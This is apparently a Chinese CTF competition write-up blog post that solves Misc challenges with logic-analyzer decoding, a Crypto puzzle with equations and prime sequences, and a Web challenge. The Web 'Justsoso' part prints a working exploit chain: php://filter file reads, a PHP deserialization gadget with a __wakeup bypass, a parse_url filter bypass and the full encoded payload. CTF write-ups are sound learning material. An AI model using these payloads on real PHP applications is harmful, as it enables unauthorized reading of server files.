Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. Misc
      1. 2.1.1. 签到题
      2. 2.1.2. saleae
      3. 2.1.3. 24c
      4. 2.1.4. badusb
    2. 2.2. Crypto
      1. 2.2.1. puzzle
    3. 2.3. Web
      1. 2.3.1. Justsoso
      2. 2.3.2. 全宇宙最简单的SQL

前言

上周末刚打完的比赛,就得了200多分

正文

Misc

签到题

题目叫“三人行必有flag”,三个人站在摄像头前面,就可以拿到flag了。

EAzr1s.png

flag{87e37d95-6a48-4463-aff8-b0dbd27d3b7d}

saleae

第一次见到这样的题,在百度上找了好久,也没找到个靠谱的教程,下载了logic后也不会用,不会分析数据,这道题完全是手刷的,按照下面这样读出来的

EAzcn0.png

EAz27T.png

然后一个一个转化成十六进制,再转字符串。注意:二进制串顺序是逆序。

期间错了几次,改了好几次才改对。

flag{12071397-19d1-48e6-be8c-784b89a95e07}

后来才知道正确的做法,点击Analyze–>SPI

EAzx9H.png

设好时钟脉冲和数据脉冲,没有的设成None

EESpjI.png

开始输入的是二进制,然后转换成ascii

EESPDP.png

得到flag

EESAUS.png

24c

这道题没法用手刷,读出来,所以当时没做出来,现在看看,好简单啊,,,,

题目是24c,这次选择I2c,直接save

EESY8J.png

1556008774434

再转成ascii,看到flag

EESBVK.png

但是这里,不是简单地拼接字符串就对的,而是有一定的拼接规则。具体的百度吧,我也不懂这个。

badusb

和第一题一样,SPI分析,设置如下:

EEp3Lt.png

在最下面找到flag

EEp0Qs.png

Crypto

puzzle

puestion0

解这个四元一次方程组,用python的numpy库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import numpy

a=[[13627,26183,35897,48119],
[23027,38459,40351,19961],
[36013,45589,17029,27823],
[43189,12269,21587,33721]]

b=[347561292,361760202,397301762,350830412]

a=numpy.array(a)
b=numpy.array(b)

result=numpy.linalg.solve(a,b)
print result

EEiSmR.png

或者是z3库

要求转成十六进制后拼接,得到fa6bed9c7a00

question1

这是一个素数序列找规律的题目,在26000000与26500000素数中每间隔固定个数取一个值(间隔是36个),全部的素数序列网站如下

http://smallprimenumber.blogspot.com/2008/12/prime-number-from-26000000-to-26500000.html

只要按照该规则寻找即可:

26364803 26364809 26364823 26364827 26364847

26364881 26364889 26364893 26364901 26364931

26364941 26364967 26364983 26364991 26364997

26365007 26365021 26365037 26365039 26365049

26365057 26365081 26365099 26365109 26365111

26365123 26365133 26365139 26365169 26365177

26365187 26365231 26365243 26365289 26365301

26365333 26365363 26365393 26365399 26365403

26365421 26365463 26365511 26365517 26365519

26365523 26365541 26365561 26365601 26365607

26365621 26365643 26365649 26365681 26365721

26365733 26365741 26365771 26365777 26365783

26365789 26365799 26365811 26365817 26365819

26365873 26365877 26365883 26365891 26365909

26365943 26365987 26365991 26366003 26366023

26366033 26366059 26366071 26366077 26366117

26366141 26366147 26366149 26366159 26366173

26366189 26366203 26366227 26366231 26366233

26366273 26366287 26366317 26366323 26366341

26366369 26366383 26366393 26366407 26366419

26366429 26366447 26366453 26366477 26366491

26366497 26366503 26366537 26366551 26366581

26366591 26366603 26366621 26366633 26366663

∴Part1 = 26365399 十六进制1924dd7

question2,3,4

数学和物理的知识了

第一就是简单的求极限和积分。 part2=(1+91+7+1)*77=7700 转换十六进制 part2=1e14

第三题是一道物理题目

EEiV6H.png

代入数据,最后得到结果part3=18640十六进制 48d0

第四题考的是三重积分

求得part4=40320 ,十六进制part4=9d80

拼接得到flag:flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}

Web

Justsoso

知识点:任意文件读取,PHP 反序列化

查看源码,发现有hint.php,/?file=php://filter/read=convert.base64-encode/resource=hint.php,读取hint.php源码看看,base64解码后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php  
error_reporting(0);
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
echo '__construct';
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

/?file=php://filter/read=convert.base64-encode/resource=index.php,读取index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

审计一下代码

preg_match("/flag/",$value)我们需要绕过此处对flag的过滤,搜索资料可知parse_url函数存在解析漏洞,如果我们的网址为http://ip/www那么可以正常解析,如果我们输入的是http://ip///www就会返回false从而导致后面的过滤

index.php 有 file 和 payload 两个参数,先 include 了 file 所指向的文件,再经过一系列的检测之后 反序列化 payload。

然后 hint.php 有两个类 Handle 和 Flag。 对于 Handle 类,它的魔术方法 Weakup 会清空其自身的成员变量,将其都置为 null。而其析构函数则会调用自身成员变量 handle 的 getFlag 方法。而 Flag 类就有这个 getFlag 方法了,其中会随机一个 md5(1~10000随机数) 的 flag_token,和自身的 token 做比较,相等就去读文件。看起来我们可以用这里来读 flag.php 文件了。

总结一下有三个需要处理的地方

绕过对flag的过滤 preg_match(“/flag/“,$value)

绕过wakeup() foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}

使$this->token === $this->token_flag,也就是绕过md5(rand(1,10000))

绕过preg_match(“/flag/“,$value),利用parse_url函数存在解析漏洞

绕过wakeup()需要使序列化后串的的属性个数大于实际属性个数

绕过md5(rand(1,10000)),只需要使用一个引用即可,

构造payload:

在hint.php源码下面添加如下代码,然后本地执行:

1
2
3
4
$flag=new Flag("flag.php");
$flag->token=&$flag->token_flag;
$handle=new Handle($a);
print_r(serialize($handle));

出现了不可见字符,

EEYZ01.png

只好再url编码一次了,在上面添加

1
2
3
4
$flag=new Flag("flag.php");
$flag->token=&$flag->token_flag;
$handle=new Handle($a);
print_r(urlencode(serialize($handle)));

EEtiUP.png

此时的payload已经可以绕过反序列化和md5(rand(1,10000))了,但是还需要绕过wakeup()和preg_match(“/flag/“,$value),首先是上面提到的,更改这个值(代表类中的属性个数),使这个值大于真实值1即可,这里我们改成2,然后就是利用parse_url函数解析漏洞

EEtVgg.png

payload:

///?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22f19ec2b84181033bf4753a5a51d5d608%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

flag{d0ed48b8-62be-4656-87fd-f78724183084}

本地phpstudy复现结果,

EENcWT.png

全宇宙最简单的SQL

https://www.ctfwp.com/articals/2019national.html

Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. Misc
      1. 2.1.1. 签到题
      2. 2.1.2. saleae
      3. 2.1.3. 24c
      4. 2.1.4. badusb
    2. 2.2. Crypto
      1. 2.2.1. puzzle
    3. 2.3. Web
      1. 2.3.1. Justsoso
      2. 2.3.2. 全宇宙最简单的SQL